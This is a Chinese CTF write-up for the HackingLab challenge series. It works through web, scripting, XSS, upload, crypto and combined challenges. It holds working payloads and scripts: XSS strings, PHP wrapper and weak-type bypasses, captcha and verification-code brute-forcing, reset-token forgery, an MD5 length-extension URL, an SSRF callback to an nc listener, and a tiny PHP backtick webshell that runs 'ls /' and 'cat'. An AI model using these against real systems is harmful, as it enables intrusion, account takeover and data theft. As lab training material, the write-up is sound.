基础关

key在哪里?

查看源代码,直接找到flag

再加密一次你就得到key啦~

给出的提示是:

1
加密之后的数据为xrlvf23xfqwsxsqf

凯撒加密
移了13位,在线加密选择移位13即可得到key

猜猜这是经过了多少次加密?

一看就是base64,一直base64解码即可拿到key

据说MD5加密很安全,真的是么?

md5解密

直接得到key

种族歧视

打开之后提示only for Foreigner

拿bp抓个包,将Accept-Language:这一栏的内容删掉即可

HAHA浏览器

Hint:
据说信息安全小组最近出了一款新的浏览器,叫HAHA浏览器,有些题目必须通过HAHA浏览器才能答对。小明同学坚决不要装HAHA浏览器,怕有后门,但是如何才能过这个需要安装HAHA浏览器才能过的题目呢?
估计是改user-agent
抓包,只要user-agent里出现HAHA即可得到key

key究竟在哪里呢?

访问后提示:Key就在这里,猜猜这里是哪里呢?(Web找key加强版)
抓个包,查看之后发现在响应头里:

key又找不到了

照常抓包,发现一个key_is_here_now_.php,估计是个302跳转,用bp访问一下,即可得到key

冒充登陆用户

访问后提示:您还没有登陆呢!
抓包后发现cookie中有一个login=0的参数,改为1即可得到key

比较数字大小

题目给了一个输入框,但是限制了长度,同样的,抓包,把v的值网大传,即可得到flag

本地的诱惑

题目坏了,但是这题的解题方法就是XFF,在发送包中添加

1
X-Forwarded-For:127.0.0.1

即可得到key

就不让你访问

题目提示:小明设计了一个网站,因为总是遭受黑客攻击后台,所以这次他把后台放到了一个无论是什么人都找不到的地方….可最后还是被黑客找到了,并被放置了一个黑页,写到:find you ,no more than 3 secs!

直接扫估计是不行的,试试robots,还真有
内容是

1
2
3
4
5
User-agent: *
Disallow: /
Crawl-delay: 120
Disallow: /9fb97531fe95594603aff7e794ab2f5f/
Sitemap: http://www.hackinglab.sinaapp.com/sitemap.xml

访问/9fb97531fe95594603aff7e794ab2f5f/,提示

1
you find me,but I am not the login page. keep search.

提示在login page,直接访问login.php,得到key

脚本关

key又又找不到了

也是抓包,但是直接看到key了…不清楚原因

快速口算

请在2秒内口算结果并提交!

在2s内算出来机会不大,所以需要写脚本了,附上py脚本

1
2
3
4
5
6
7
8
9
import re 
import requests

s = requests.Session()
url = 'http://1.hacklist.sinaapp.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
r = s.get(url)
num = re.findall(re.compile(r'<br/>\s+(.*)=<input'), r.text)[0] #正则匹配,可以先看看源代码
r = s.post(url, data={'v': eval(num)}) #计算表达式的值,并将结果提交 抓包可看出要用v提交
print (r.text) #输出结果

运行后得到key

这个题目是空的

这题有点坑,答案就是null小写

怎么就是不弹出key呢?

点了几次不行之后,看看源代码:

可以看到各种return false,但是既然是js的代码,我们就可以在本地搭建
将代码复制到本地,然后把前面三个return false的函数干掉

然后本地访问就行了

注意是从chars之后开始的14位

逗比验证码第一期

这题的验证码验证一次之后不过期,所以。。
抓包爆破即可

爆破之后,密码是1238,拿到key

逗比验证码第二期

题目给提示,验证就失效,但是实际上验证一次之后验证码就不需要了,令值为空即可开始爆破。

爆破后得到密码1228,拿到key

逗比的验证码第三期(SESSION)

这题做法与上题一样,密码是1298,拿到key

微笑一下就能过关了

源代码处点击可以看到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php  
header("Content-type: text/html; charset=utf-8");
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}

include('flag.php');

$smile = 1;

if (!isset ($_GET['^_^'])) $smile = 0;
if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;
if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;
if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;
if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
?>

这题比较复杂,

首先get提交的参数中不能有特殊字符,数字
而且httphttpsftp等协议不能用,
$_SERVER['QUERY_STRING']中不能出现_字符,但是提交的变量却是^_^
并且不能是文件,但是却有个file_get_contents函数,

绕过$_SERVER['QUERY_STRING']很简单,因为QUERY_STRING会把.[等符号解析成_
,所以将提交的参数改为^.^^[^等即可,
而绕过file_exists,就是用php的data伪协议,详情请点击php伪协议学习

payload:

1
^[^=data://text/plain;charset=unicode,(●'◡'●)

逗比的手机验证码

这题不清楚为什么要出,没什么技术含量,
直接用13388886666手机号获取验证码,然后用13388886667submit就可以得到key

基情燃烧的岁月

这题点击获取手机验证码之后提示

1
手机验证码是:验证码发到手机上了,你看不到..是3位纯数字,开头不为0

看不到,估计是爆破了,但是在爆破之前需要点击一下获取验证码,不然会一直提示错误,
然后第一次爆破的结果是:

又得到一个手机号13399999999,同样的方法再爆破一次就能拿到key

验证码识别

这题前面的方法都不能用,只能老老实实的识别验证码了,因为全是数字,所以比较好识别,这里用的工具是Pkav HTTP Fuzzer
使用方法:
将抓到的数据包内容复制粘贴进请求包

下方的使用与bp差不多,手机验证码变量添加标记即可,验证码变量添加验证码即可,
然后将验证码图片的地址复制下来,工具底部有图片型验证码,将地址复制进去,
在头部请求加上自己的cookie,
在下方点击识别测试:

回到变体设置,设置自己payload,在重放设置栏选择数字自增长模式,

重放选项处将线程设置为单线程,因为速度过快可能会报错
然后底下选择发包器,点击启动即可,一段时间后得到flag

XSS基础关

XSS的题目在Google浏览器里做不了,所以只能在其他浏览器下做了,这里用的是火狐浏览器
XSS可以先看看js的代码,在http://lab1.xseclab.com/xssjs/xss_check.php处可以看到给出key的代码,先试试

1
<script>alert(HackingLab)</script>

直接就success,得到了key

XSS基础2:简单绕过

这题用上题的payload的话会报错,多试几次发现是过滤了<script>
<img>就能绕过
payload:

1
<img src=haha onerror=alert(HackingLab)>

XSS基础3:检测与构造

这题输入的值会在下方的input框展示出来,
同样过滤了<script>javascript<img src> ,但是当查看源代码的时候可以发现,
'没有过滤,所以可以用一下闭合的思想,用bp抓包试验一下

输入alert(HackingLab)发现没有过滤alert,但是输入onmouseover=alert(HackingLab),发现被检测到了,最终发现一个问题,当输入alert时,后面的添加的事件不会被过滤
构造payload:

1
alert'onmouseover=alert(HackingLab)>

然后把鼠标移到第二个输入框即可弹窗,得到key:

Principle很重要的XSS

这题跟上题类似,但是只是input框变成了href,我用上题的payload直接就得到key了。不清楚为什么给了这么多hint

这些XSS的题目都可以用bp抓响应包来做,应该是后端没有做防护,这里就用最后一个题目做示范
首先抓到请求包,右键选择

点击Forward,此时可以看到响应包也就是response包,
在下方输入

1
<img src=haha onerror=alert(HackingLab)>

再点击Forward,因为数据包有点多,所以一直点击Forward直到弹窗就行,弹窗之后还需要点击Forward得到后台给的key,同样能得到key

注入关

注入关暂时做不了,题目服务器有问题

上传关

请上传一张jpg格式的图片1

这题试了几次之后发现是前端验证,上传一个jpg,然后用bp抓包改一下即可拿到key

请上传一张jpg格式的图片2

跟第一题一样的做法。

请上传一张jpg格式的图片3

这题后端也做了验证,可以先用前面题目的方法试试,发现提交成功但是没有返回key

试了试加一个.jpg

后端代码可能是验证文件名有没有.jpg,拿到key

解密关

以管理员身份登录系统

打开题目发现这是一个标准的登录框,有忘记密码功能,并且题目提示重置管理员密码就能得到key
先了解一下重置密码功能,在这个输入框中输入的值会被传到后端进行重置,
然后给出重置密码链接,但是admin用户重置之后没有提示,

所以我们照常在每个页面都抓包试一试,在这个页面可以看到重置密码链接提交的值中有两个参数,
一个是sukey,一个是username

username改为admin,发现什么都没有显示:

现在只能看另一个参数sukey了,长度看起来像md5md5解密试试:

解出来是一个时间戳,转为北京时间是2018/7/19 14:5:54

就是我刚刚提交的时间,所以思路大概就是将上传的时间转为Unix时间戳,然后md5加密,
sukeyusername分别等于md5加密后的时间戳admin提交,
并且响应包得到的时间是比实际时间少的,

这里给出两种做法

  • 第一种是手动将响应包里的时间手动转为Unix时间戳
  • 第二种是用脚本获取响应包的时间

第一种:

先提交usernameadmin,然后记录下响应头date

然后去在线网站转为时间戳,
记住小时需要跟北京时间一样,其他都一样

sukey等于时间戳md5加密后的值访问即可,

得到key

第二种是用python,但是time()函数得到的当前时间戳与上传时的对不上,
所以只能与手动的方法一样,从响应头里获取时间。
附上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests,hashlib,time,re

def month(month):
months = ["Jua","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]
for a in range(0,len(months)):
if months[a] == month:
return a+1

r = requests.session()
url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/resetpassword.php'
post = {'username':'admin'}
a = r.post(url,data = post)
list = re.compile(r'[\,\s\:]+').split(a.headers['date'])
ct = (list[3]+'-'+str(month(list[2]))+'-'+list[1]+' '+str(int(list[4])+8)+':'+list[5]+':'+list[6])
sukey = hashlib.new('md5',str(int(time.mktime(time.strptime(ct,'%Y-%m-%d %H:%M:%S')))).encode(encoding='utf-8')).hexdigest()
url2 = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey='+sukey+'&username=admin'
print(r.get(url2).text)

邂逅对门的妹纸

这题给的是一个wifi的握手包,kali中有专门的工具来破解握手包aircrack
但是需要字典,给了年级和年份,估计密码就是生日了,
先从网上下载一个生日字典,也可以自己生成
使用方法

1
aircrack-ng wifi-crack.cap -w pass.txt

得到生日密码之后按照题目要求加密提交即可

万恶的Cisco

直接GoogleCisco破解,Cisco思科密码在线解密

万恶的加密

huawei交换机的加密方式,有人写过python工具
使用方法

1
python27 hh3c_cipher.py -c "aK9Q4I)J'#[Q=^Q`MAF4<1!!"

喜欢泡网吧的小明

给的是一个dump文件,里头的内容有些看不懂,看了网上的wp才知道做的,

1
首先将当下的数据不做改动,进行刷卡,显示卡片异常。说明,卡片的头信息错误。一般的卡片的头信息应该是前8~16个字节。头信息应该有个开始和结束标准信息。

直接将文件上传的话会显示卡片异常,并且题目提示了有一个字节产生了错误。

网上给的wp是将开头的AA变为8A, 原因是头部信息错误所以读取失败,具体为什么改为8A也不清楚,
但是改为8A后,提示:

可以正常刷卡了,但是余额为100,往下看文件内容,有1027,转为10进制是4135,没有啥关系,
但是这些卡的加密方式是有可能倒叙的,所以再试试2710,可以发现刚好是10000,对应的是100.00,所以我们现在只需要将20000转为16进制,然后倒序即可,将两个1027的值改为204E,保存再上传即可

异常数据

题目给出一段加密后的字符

1
AGV5IULSB3ZLVSE=

数字和字母,估计是base32,但是base32解不出,所以大概率是base64,只是把其中的小写字母换成了大写,
base64是3位为一组,加密成4个字节,所以分成

1
2
3
4
AGV5
IULS
B3ZL
VSE=

首先看看第一次解密:

出了乱码,所以将A改为小写

可以发现思路就是这样,hey已经出来了,所以可以进行下一组,重复这个步骤即可

最终为

1
2
3
4
aGV5
IUls
b3Zl
VSE=

解码链接

md5真的能碰撞嘛?

题目点击__后,可以直接看到源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$flag=FLAG;
if(isset($_POST["password"])){
$password=$_POST['password'];
$rootadmin="!1793422703!";
if($password==$rootadmin){die("Please do not attack admin account!");}

if(md5($password)==md5($rootadmin)){
echo $flag;
}else{
die("Password Error!");
}
}
?>

大概意思就是$rootadmin的md5要跟上传上去的值的md5一样,而且本身的值也不能一样
先看看!1793422703!的md5是多少,

1
0e332932043729729062996282883873

0e后面全是数字,php弱类型,POST

1
password=240610708或者QNKCDZO

拿到key

小明爱上了一个搞硬件的小姑凉

题目给的是一个logicdata文件,提示是一个逻辑分析仪抓包数据,
winhex打开之后,在文件的最后有一串英文,

搜一搜saleae,发现需要下载这个公司的软件才能解密
下载链接
下载完用这个号软件打开之后即可看到答案,英文不好的同学注意,COMMA是逗号的意思

有签名限制的读取任意文件

右键查看源代码可以看到部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
header("Content-type:text/html;charset=utf-8");
include "_flag.php";
include "salt.php";


$mysalt=SALT;

if(isset($_GET['filepath'])&&!empty($_GET['filepath']) &&isset($_GET['sign']) &&!empty($_GET['sign'])){
myreadfile($_GET['filepath'],$mysalt,$_GET['sign']);

}
else{
//降低一点复杂度
var_dump(strlen($mysalt));
testsign("/etc/hosts",$mysalt);
}


function myhash($message,$mysalt){
return md5($mysalt.$message);
}
function checksign($message,$mysalt,$sign){
if($sign==myhash($message,$mysalt)){
return True;
}else{
return False;
}
}
function myreadfile($filepath,$mysalt,$sign){
$res=checksign($filepath,$mysalt,$sign);
if($res){
echo getfile($filepath);
}
else{
echo 'sign error!';
}
}
function testsign($filepath,$mysalt){
echo myhash($filepath,$mysalt);
}


echo "<!--".file_get_contents(__FILE__);

题目已经给出提示MD5 Length Extension Attack!,md5长度扩展攻击,
先看看代码,可以知道的是已知md5,已知salt的长度,还知道/etc/hosts,
这里给出工具下载链接
使用方法:

1
2
3
4
5
6
7
8
9
10
11
$ hashpump -h
HashPump [-h help] [-t test] [-s signature] [-d data] [-a additional] [-k keylength]
HashPump generates strings to exploit signatures vulnerable to the Hash Length Extension Attack.
-h --help Display this message.
-t --test Run tests to verify each algorithm is operating properly.
-s --signature The signature from known message.
-d --data The data from the known message.
-a --additional The information you would like to add to the known message.
-k --keylength The length in bytes of the key being used to sign the original message with.
Version 1.2.0 with CRC32, MD5, SHA1, SHA256 and SHA512 support.
<Developed by bwall(@botnet_hunter)>

安装方法

1
2
3
4
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make install

这里我们知道的是signaturedatakeylength,需要读取的文件这里写成_flag.php
所以工具使用:

1
hashpump -s f3d366138601b5afefbd4fc15731692e -d /etc/hosts -k 32 -a /etc/_flag.php

提交时需要把\x换成%,因为是URL编码的
最终的payload是:

1
http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php?filepath=/etc/hosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00/etc/_flag.php&sign=7fbbac6efeb7939be04829bc9a847f0c

美丽的邂逅与密码器的开门密码

这题题目给的一个exe文件,名字还是reverse,逆向题,IDA打开之后找到主函数

可以看到当v19等于1的时候才会输出一段字符,找到401005函数,

1
2
3
4
int __cdecl sub_401005(char *a1)
{
return sub_401020(a1);
}

又跳到了401020,

1
2
3
4
5
6
7
8
9
10
BOOL __cdecl sub_401020(char *a1)
{
char v2; // [sp+Ch] [bp-44h]@1
int v3; // [sp+4Ch] [bp-4h]@1

memset(&v2, 0xCCu, 0x44u);
v3 = 0;
v3 = strlen(a1);
return v3 > 50;
}

可以看出来当v20的长度大于50就能返回true,也就是1
运行程序,输入任意字符,长度大于50:

得到key

综合关

渗透测试第一期

这题先把每个页面POST的变量抓个包看看,
在尝试了几次之后,发现几个问题

  • 注册时用户名不能使用admin
  • 在绑定手机页面出现了username这个变量
  • 绑不绑定手机效果都一样
  • 在忘记密码页面,需要跟用户名与之绑定的手机号才能得到验证码

这题就有了大概的思路,需要登录进admin账户,但是不知道密码,
爆破试了之后发现不少弱口令,所以需要重置密码重置密码时需要手机号
但是当将username等于admin之后,发现:

所以需要将admin用户的手机号绑定为已知的手机号,刚好在绑定手机页面username可以更改,

回到忘记密码页面,Username填写admin,正常发送即可重置密码

再用重置的密码登陆即可得到key

没有注入到底能不能绕过登录

首先题目提示了不是SQL注入,并且题目里没有什么有用的提示,
所以只能先扫一下后台,发现robots.txt

1
2
User-agent: *
Disallow: /myadminroot/

访问一下myadminroot,但是提示Please login first!
所以现在找办法登陆,但是我用burpsuite抓包时发现,
在登陆页面go一次之后,在其他页面访问myadminroot就能得到key
所以发现了在弹出error时,不点击确认就不会将已经登陆的状态取消,
估计就是session的原因,直接得到key

美图闪亮亮交友平台

题目直接给了

1
2
Tips: 邮箱没有xss漏洞
Tips: 管理员用的是手机wap邮箱,而且管理员的手机不支持Cookie(20150823)

邮箱没有XSS,但是在题目中的input框中还是存在XSS,管理员也没有cookie,
所以没办法使用管理员的cookie登陆进后台,
在网上找了也没有writeup,最终看到了出题人给的提示

1
题目采用curl模拟方式来模拟管理员审核的过程。

估计是SSRF
先说下解题思路,在姓名照片描述处都没有做要求,但是在图片URL处对内容做了要求,
必须是网址,但是抓包发送的话可以绕过js

并且在<img>处没有过滤,可以正常弹窗,代码

1
http://www.hackinglab.cn/meitu.jpg11" onerror="alert(1)

一开始看起来像存储型XSS但是题目给了提示,并不是XSS
所以只能换一种思路,在看了出题人给的提示之后,看到了curl

SSRF 漏洞出现的场景:

  • 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

猜测是管理员用curl命令访问了图片URL,
这里采用nc来获取信息:
服务器端,监听一个端口(确保这个端口是开着的)

1
nc -l 8888

图片URL:

1
http://你的服务器IP:8888

再发送即可,

此时在自己的服务器上可以看到一个请求

访问这个URL即可得到key

最简单的数字取证1

这题可以直接用软件DiskGenius,网上一搜一大把,是一个用来分区的软件,
打开软件,在上方的磁盘->打开虚拟磁盘文件->选择下载下来的文件即可,之后打开磁盘可以直接看到key

最简单的数字取证2

方法与上题一样,不过key文件在RECYLER里的一个文件中的De1.txt

小明学习代码审计

一个代码审计题,打开题目查看源代码可以发现一个resetpwd.php的页面,打开之后是一个提交的input框,
右键查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
session_start();
include '_flag.php';
date_default_timezone_set('Asia/Shanghai');
if(isset($_POST['token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION['token'])){
if($_POST['token']==$_SESSION['token']){
echo "PassResetSuccess! Your Flag is:".$flag;
}else{
echo "Token_error!";
}
}else{
mt_srand(time());
$rand= mt_rand();
$_SESSION['token']=sha1(md5($rand));
echo "Token Generate Ok! now send email to your EmailBox!.....";
if(sendmymail($_SESSION['token'])){
echo "SendOK! \r\n<br> Your password reset Token has been send to your mailbox! <br>Please Check your mail box and fill your token here to reset your password!<br>";
};
}

先说说代码什么意思,首先我们能控制的变量是token,并且需要与$_SESSION['token']相等,
$_SESSION['token'],是被加密过的,而且这个加密看起来不能绕过,因为有随机数$rand
所以这个时候需要了解一下伪随机数这个概念了,
先来看看php的mt_srand()mt_rand()
mt_srand():

1
2
用 seed 来给随机数发生器播种。 没有设定 seed 参数时,会被设为随时数。
Note: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的。

mt_rand():

1
生成更好的随机数

简单来说就是首先用mt_srand()播种,然后mt_rand()以这个seed随机生成数据,
但是我们可以发现,当seed一样时,mt_rand生成的数据顺序是一样的,测试代码:

1
2
3
4
5
6
7
8
<?php
$seed=10;
mt_srand($seed);
for ($i=0; $i < 10; $i++) {
$rand= mt_rand();
echo $rand."<br>";
}
?>

当指定的seed为固定时,产生的随机数顺序一样,所以不管上面的测试代码怎么刷新,得到的值总是一样

1
2
3
4
5
6
7
8
9
10
502355954
641584702
2112621188
1074089073
1360749216
1207911374
546519883
1786516046
1082451610
903986200

回到这一题,这题的seedtime(),当前时间戳,一样的道理,
我们首先在本地获取到当前的时间戳,并且以这个时间戳为seed,
然后产生随机数即可与服务器上的$_SESSION['token']相同,这里采用php+python,
php用来获取随机数,python用来发送
php代码:

1
2
3
4
5
6
7
<?php  //rand.php
date_default_timezone_set('Asia/Shanghai');
mt_srand(time());
$rand= mt_rand();
$hax = sha1(md5($rand));
echo $hax;
?>

python代码:

1
2
3
4
5
6
7
8
9
10
import requests
local = requests.session()
a = requests.session()
url = "http://127.0.0.1/rand.php"
r = local.get(url)
hax = r.text
url2 = "http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php"
x = a.get(url2)
x = a.post(url2,data={'token': hax})
print (x.text)

由于延迟,可能会有几次失败,多试几次即可
运行py脚本得到key:

HackingLab首台rootkit题目虚拟机[公测]

先放上题目的提示:

1
2
3
4
5
6
7
要求: 找到系统rootkit后门(不是木马)并提取后门密码
密码验证方式:验证可以远程获取root权限,则说明密码正确.
正确的密码即为过关密码
虚拟机信息:[root密码hackinglab.cn]
下载地址: http://pan.baidu.com/s/1bnoKlOj 密码: bpe5
若无法下载请联系@CplusHua
该题目可能难度较大,涉及到应急响应分析,病毒木马查杀,简单逆向分析等

先正常的将虚拟机下载下来并导入,配置好网络之后正常连接

首先网站的目录里什么都没有,看一下以root权限的进程

1
ps -u root

可以看到进程里有一个httpd进程,但是httpd是不需要root权限的,
先查看一下apache加载了哪些模块:

1
2
3
4
5
6
[root@rootkit modules]# apachectl -l
Compiled in modules:
core.c
prefork.c
http_core.c
mod_so.c

都是正常的,所以现在去找一下apache的目录下查看modules目录

1
2
3
4
5
6
7
8
9
10
11
12
13
[root@rootkit modules]# cd /etc/httpd/modules/
[root@rootkit modules]# ls
libphp5.so mod_authn_file.so mod_cgid.so mod_ext_filter.so mod_mime.so mod_rootme22.so
mod_actions.so mod_authnz_ldap.so mod_cgi.so mod_filter.so mod_negotiation.so mod_setenvif.so
mod_alias.so mod_authz_dbm.so mod_dav_fs.so mod_headers.so mod_proxy_ajp.so mod_speling.so
mod_asis.so mod_authz_default.so mod_dav.so mod_ident.so mod_proxy_balancer.so mod_status.so
mod_auth_basic.so mod_authz_groupfile.so mod_dbd.so mod_include.so mod_proxy_connect.so mod_substitute.so
mod_auth_digest.so mod_authz_host.so mod_deflate.so mod_info.so mod_proxy_ftp.so mod_suexec.so
mod_authn_alias.so mod_authz_owner.so mod_dir.so mod_ldap.so mod_proxy_http.so mod_unique_id.so
mod_authn_anon.so mod_authz_user.so mod_disk_cache.so mod_log_config.so mod_proxy_scgi.so mod_userdir.so
mod_authn_dbd.so mod_autoindex.so mod_dumpio.so mod_log_forensic.so mod_proxy.so mod_usertrack.so
mod_authn_dbm.so mod_cache.so mod_env.so mod_logio.so mod_reqtimeout.so mod_version.so
mod_authn_default.so mod_cern_meta.so mod_expires.so mod_mime_magic.so mod_rewrite.so mod_vhost_alias.so

发现一个一个mod_rootme22.so很奇怪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
[root@rootkit modules]# strings mod_rootme22.so 
__gmon_start__
_init
_fini
__cxa_finalize
_Jv_RegisterClasses
pidlist
pipe_A
pipe_B
shell_spooler
ttyname
pipe
fork
getppid
exit
waitpid
write
select
read
kill
close
runshell_raw
runshell_pty
process_client
strncmp
shutdown
send
recv
setsid
dup2
execlp
openpty
memset
ioctl
malloc
strncpy
putenv
chdir
core_module
ap_get_module_config
strcmp
ap_hook_post_config
ap_hook_post_read_request
rootme22_module
libutil.so.1
libc.so.6
_edata
__bss_start
_end
GLIBC_2.2.5
ATSubH
/usr/sbin/apache2 -k start
hackinglabwelcomeyou!
wearefriends+
mod_rootme22.c
22PA

得到flag

代码审计与综合利用

跟前一题一样,把环境搭好之后访问:

一开始题目没给什么提示,查看源代码可以看到需要提交src这个参数,可以看到源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
session_start();
$savepath="files/".sha1(session_id())."/";
if(!is_dir($savepath)){
$oldmask=umask(0);
mkdir($savepath,0777);
umask($oldmask);
touch($savepath."/index.html");
}
if(($_POST['filename'])&&($_POST['content'])){
$fp=fopen("$savepath".$_POST['filename'],'w');
fwrite($fp,substr($_POST['content'],0,7));
fclose($fp);
$msg='File saved to <a>'.$savepath.htmlspecialchars($_POST['filename'])."</a>";
echo $msg;
}
?>
<?php if(@$_GET['src']) show_source(__FILE__);?>
<!-- <a href="./?src=">src</a>-->

一道代码审计题,第一个if是用来创建文件的,先不用管,主要是第二个if
这题估计是一个上传shell的题,首先上传的内容只能是7个字符,多了写不进去,代码:

1
<?=`*`;

php这样写完之后,会把当前目录下的所有文件都执行一遍,
利用这个特性,可以写入一遍历目录的命令,随后POST

1
filename=hh.php&content=<?=`*`;

此时这个木马已经上传上去了,回显:

1
File saved to files/6a9c5c89231381902ed84c8bebec2b0a7db1defe/hh.php

再上传:

1
filename=hh&content=ls /


1
filename=bash&content=ls /

此时可以看到

再将hh的内容改为

1
filename=hh&content=cat /t*

执行得到flag: